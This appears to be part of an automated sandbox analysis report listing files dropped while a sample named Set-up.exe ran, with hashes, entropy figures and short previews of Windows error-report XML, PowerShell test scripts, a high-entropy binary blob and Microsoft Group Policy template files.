MD5:	E0EF348550318894EF39623FD7F7EDE2
SHA1:	596C3CF3E9BA22B1BBCAE076C062633F3493F185
SHA-256:	62544DAD4572808B82CFF844E81E07F8D6EE111D350B226EAABCBDCE94391CE2
SHA-512:	485F50D3BD9D1F6F07194B3D05FD1484B25689B030C4D246BB59EE829F985103F9B9E46FC5AF38C792D958FFBC9FD92FABCEFCE65B133A0EED63F2F37202866A
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4B0.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4686
Entropy (8bit):	4.467752184068916
Encrypted:	false
SSDEEP:	48:cvIwWl8zs0Jg77aI9xuWpW8VYnYm8M4JUA+mFv+q8173QKSJuYd:uIjfyI7PP7V3JUA5EMRJuYd
MD5:	BE143C2349887931F2F104C96D7B5E5A
SHA1:	B949200949B53558324C98DF2C3690C74DE55ED2
SHA-256:	8A151C7628467BB143E331DFB269CD5F846938AECBF6905E7183B00D267BB943
SHA-512:	1D8B8F6174705129FC210735D9C00F04E6D75C0AAFC889B8D0525663707810084897368F3C9AFBB2ABC311BFB5715D8A6FF225D592E1699FE89BDFBEB6D6A4A7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="490339" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul774/lL:NllUwt
MD5:	3BD40D4BDD7802424FE8F2DC2A41C196
SHA1:	88F355EA9D58C5A00B2EBB0DC3127C0C13052631
SHA-256:	FCF55501F03C9B5E24796B8FE3656143E97D7A5FD0300387C1960C226C74076A
SHA-512:	67734D54D327379C259DB7E0576BE2A4B597CB2F0B9E881AA1FC2B55F375BB5862122579B0B5EC7DED7A7875C2AC7668033355772CBB8311A8A86924153D59B2
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\7cce520d

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	1187032
Entropy (8bit):	7.5814293719097705
Encrypted:	false
SSDEEP:	12288:yLEgVMRMMsZyDerSA8JW3RI04520rxLqAl79SUrWOtq8fSrxDhFyz6DusN8BNcn4:4Y20FLqAl7FaOtq+pZ68ro6ZkW9n5Imv
MD5:	C5CA85EC6F0730562343ADF8AB76F355
SHA1:	8B38831C7DAAD1ACF1065D33C24CAD59415ACB94
SHA-256:	1F898E44FE85C34CEBEF780796B9A9070458ADBE57AD5E3EB616E32B73A4B14D
SHA-512:	79E4245EC2EE828FDA3D839567816A9FD06FAE68C1503FB453EA49DE9CA494EF5A4F2BC930A636CAD105467AF900FFD07395E4A90BA3113C888657530DB66078
Malicious:	false
Preview:	.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.&N..&J..;S9..q#..j...p4..m....".GS5..B...y"..m...."..nP.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P..W>..w1..d5...P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P..]"..j5..m$..}5.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.0W...Lu.*w3..m?..0..3B...s5..l;.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.U0`.R.g.P.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P.g.P

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fymvsvd.bk5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ajktrl3s.v0t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aoomhuhs.xpo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ausrmv4w.dpv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dhlt1fv3.3ev.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgp52djn.qiq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xa0dlzcx.fqc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xx0ihi0q.0pq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\file\Resource\ActiveXInstallService.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (313), with CRLF line terminators
Category:	dropped
Size (bytes):	4717
Entropy (8bit):	4.7505963350576845
Encrypted:	false
SSDEEP:	96:QeD/mDkoovKnKBz5it9VGwgUW1gTwhf3yephP+87+Aam+cL+OC:vY/gg/bgF7hfzvW8qAaNc6OC
MD5:	8DA98067914A630ADF461C878CCC961E
SHA1:	39DD48A85A30B5531D5F8F1F7FD23BAB6E53A27A
SHA-256:	DA28B81AD52F6E929EBEDEBA0FACB765037031061EC7CB53E08DF2031CBAE4C3
SHA-512:	2C2C81CB5B08E13A52368E49FCE9EF13A3C6457405156B841DE5BC01C7F15FF34641CCBA0F456A71D4154021054FEB1DFD902BB14C36C9B1151B505FCD9883B6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="AxInstSv" namespace="Microsoft.Policies.ActiveXInstallService" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AxInstSv" displayName="$(string.AxInstSv)">.. <parentCategory ref="windows:WindowsComponents" /> .. </category>..</categories>.. <policies>.. <policy name="ApprovedActiveXInstallSites" class="Machine" displayName="$(string.ApprovedActiveXInstallSites)" explainText="$(string.ApprovedActiveXInstallSites_explain)" presentation="$(presentation.ApprovedActiveXInstallSites)" key="SOFTWARE\Pol

C:\Users\user\AppData\Local\Temp\file\Resource\AddRemovePrograms.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	5.172227238600436
Encrypted:	false
SSDEEP:	96:QeD/mDWaovKnKN57h45FZwLd1yvK8Nvv8uvU8jvh8dv/82vQ8kX+wv0T8pvr8YHZ:vYbOUOLdYKWvDUkhS/PQXn0TMrVPyxa7
MD5:	93FE765FEA18D3369319B1E2C2198ACA
SHA1:	EF8CA652896162E79D634919CDED635374B68377
SHA-256:	61583DFD5E07FB3ECEB722ABC37A285BA18188E7F5577DE41AB75E45906BBEAA
SHA-512:	D7DAFC4D8A9C90125B3DEC111CA0A5CC85DD16BE368093642A0BE8BAB2A99589832A1FD6CC1636C7089A9204D81E8E39F1E6BEE59C537971C25C89C92DE1440F
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="addremoveprograms" namespace="Microsoft.Policies.AddRemovePrograms" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Arp" displayName="$(string.Arp)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. </categories>.. <policies>.. <policy name="DefaultCategory" class="User" displayName="$(string.DefaultCategory)" explainText="$(string.DefaultCategory_Help)" presentation="$(presentation.DefaultCategory)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall">.. <paren

C:\Users\user\AppData\Local\Temp\file\Resource\AppCompat.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (306), with CRLF line terminators
Category:	dropped
Size (bytes):	5203
Entropy (8bit):	5.1614513543538125
Encrypted:	false
SSDEEP:	96:QeD/mDBgovKnK55Vr/edS/aN/AN9/DNo/yq/Xdf/Xda/bda/N:vYKcLhY2idxYEN
MD5:	9F090D18F3BDB120480CC63F1BC5E5FD
SHA1:	66AFE722858D0C91B1D0D45844FCE80DB3A120E2
SHA-256:	3377EAAE4A6F7CD036D70C5F3358870F29AC536C06A4FD784D10E1840201B1DB
SHA-512:	F02C94CCCE3C60CF48E6063C9186EB8DE26D25E2338071FF5881A9C8A5478276859C3585F00DCB07106044CA5D63DD130CFAC9C09C0FA6D2F3F4303712F93F26
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="appcompat" namespace="Microsoft.Policies.ApplicationCompatibility" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AppCompat" displayName="$(string.AppCompat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AppCompatPrevent16BitMach" class="Machine" displayName="$(string.AppCompatPrevent16BitMach)" explainText="$(string.AppCompat_Prevent16BitMach_Help)" key="Software\Policies\Microsoft\Windows\AppCompat" valueName="VDMDisallowed">

C:\Users\user\AppData\Local\Temp\file\Resource\AppXRuntime.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (397), with CRLF line terminators
Category:	dropped
Size (bytes):	3390
Entropy (8bit):	5.117713196882447
Encrypted:	false
SSDEEP:	96:jvmDHFovKnKJ5bu3cdpa3WdfnZsaMd9RbGwhxC:jYli1A20mCFLC
MD5:	88D794EA092EF395433CFA321D06E5E4
SHA1:	F1F7C7DFBD04AC5A92CBDE88BD4F087781D63C40
SHA-256:	5AFC969E4212A6511F307385C99B8868E8C873183DC271BBB95BA571B24EB53E
SHA-512:	EBB770102B8202DE4BB7319CBC2CDA860E4DE5D1E95F0FBEF4D4890AA2B22CD48CF73909D028A37B507926B4FAD573716FBA16E50B8F9ECA8D5FEAB00AC17CCA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="appxruntime" namespace="Microsoft.Policies.AppxRuntime" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AppXRuntime" displayName="$(string.AppxRuntime)" explainText="$(string.AppxRuntime_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AppxRuntimeBlockFileElevation" class="Both" displayName="$(string.AppxRuntimeBlockFileElevation)" explainText="$(string.AppxRuntimeBlockFileElevationExplanation)" key="Software\Micr

C:\Users\user\AppData\Local\Temp\file\Resource\AppxPackageManager.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2463
Entropy (8bit):	5.111463339682583
Encrypted:	false
SSDEEP:	48:30A08gmD5fBofHKnKtCQ5FwnFfGdMVgman83fGdCajnifGq:kvmD55ovKnK15qn4ddn5ddn7q
MD5:	8F6EACF6BA3557C023B7EF52CF374796
SHA1:	4D4F7A83C972A8D25AC1A5B4C5BF16452737C76C
SHA-256:	A57C185E3692BD976618A9C3D225B61F352931C61EBB4CEDEB1931FA4826DDD6
SHA-512:	63DF24870F5E65F9A262111ACA537DCAC00C7CD8CB18275A1BE23670174428D80657075A2DAB436D1EF0B7568A746CBEE36EE181A7F11862DE3CCD12A4FC6610
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="appx" namespace="Microsoft.Policies.Appx" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AppxDeployment" displayName="$(string.AppxDeployment)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AppxDeploymentAllowAllTrustedApps" class="Machine" displayName="$(string.AppxDeploymentAllowAllTrustedApps)" explainText="$(string.AppxDeploymentAllowAllTrustedAppsExplanation)" key="Software\Policies\Microsoft\Windows\Appx" va

C:\Users\user\AppData\Local\Temp\file\Resource\AttachmentManager.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5965
Entropy (8bit):	5.090560813091328
Encrypted:	false
SSDEEP:	96:QeD/mDZK0ovKnKJrb5PwWA+P3WvwGFi1PdWhlhQWAsPOWA7dPlwwxbe1Pw5IFtX9:vYZJMfpYmPGsddWhlh4MiZBxbedw5IFX
MD5:	A7F3BB7ECBCBAEBA34AE99A473FC78D4
SHA1:	35519185FD4A538D8CA1B9CEB46CDDA78F6F1CD4
SHA-256:	5ECA8151E2EBC1C5C3BEEEC2B6D79D16F54EB543FBA45ED6E8CC6A7D3D5632A8
SHA-512:	9F8833D9E10013B8D092E999A3C0F4CAA7BFBAC6A725EC85E5BB4AD3AB99A6CCA1A99899521603B0B9F0912E0FF0E2264F29898044C2D366282568D9FC148E36
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="attachmentmanager" namespace="Microsoft.Policies.AttachmentManager" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AM_AM" displayName="$(string.AM_AM)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AM_CallIOfficeAntiVirus" class="User" displayName="$(string.AM_CallIOfficeAntiVirus)" explainText="$(string.AM_ExplainCallIOfficeAntiVirus)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" valueName="ScanWithAntiV

C:\Users\user\AppData\Local\Temp\file\Resource\AuditSettings.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (302), with CRLF line terminators
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	5.147670961257302
Encrypted:	false
SSDEEP:	24:2d1Dwjo8gWt4+3FpKtX6fF0s6fE3+dK9lKz5OpKjcpMn+6xDV1NmWtSXcA+2hJJo:c1Dw08gmDpfFofHKnK125Sn+6xDhhsXM
MD5:	9A36A7410B4EF98B36DA553E050B9788
SHA1:	4BA6E5225A7C5DAF30F4947B9288B708E8E557E8
SHA-256:	EBAC316580540B7EE8E399F890470527E456F2C6A103FCC899F4B2442D8E69F7
SHA-512:	7CD81F2BEDDE51BCA3A1F5A0889870BE71EF521E5C331F1C8BA4CE97BF604ADFFF6CAFA0FE707ED55DF62BC340C45BAA189E3D07F20A466EE7254F3C6ABE6B74
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="auditing" namespace="Microsoft.Policies.Auditing" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="auditing" displayName="$(string.AuditSettings)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="IncludeCmdLine" class="Machine" displayName="$(string.IncludeCmdLine)" explainText="$(string.IncludeCmdLine_explain)" presentation="$(presentation.IncludeCmdLine)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" valueName="ProcessCre

C:\Users\user\AppData\Local\Temp\file\Resource\AutoPlay.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3391
Entropy (8bit):	5.005511840018565
Encrypted:	false
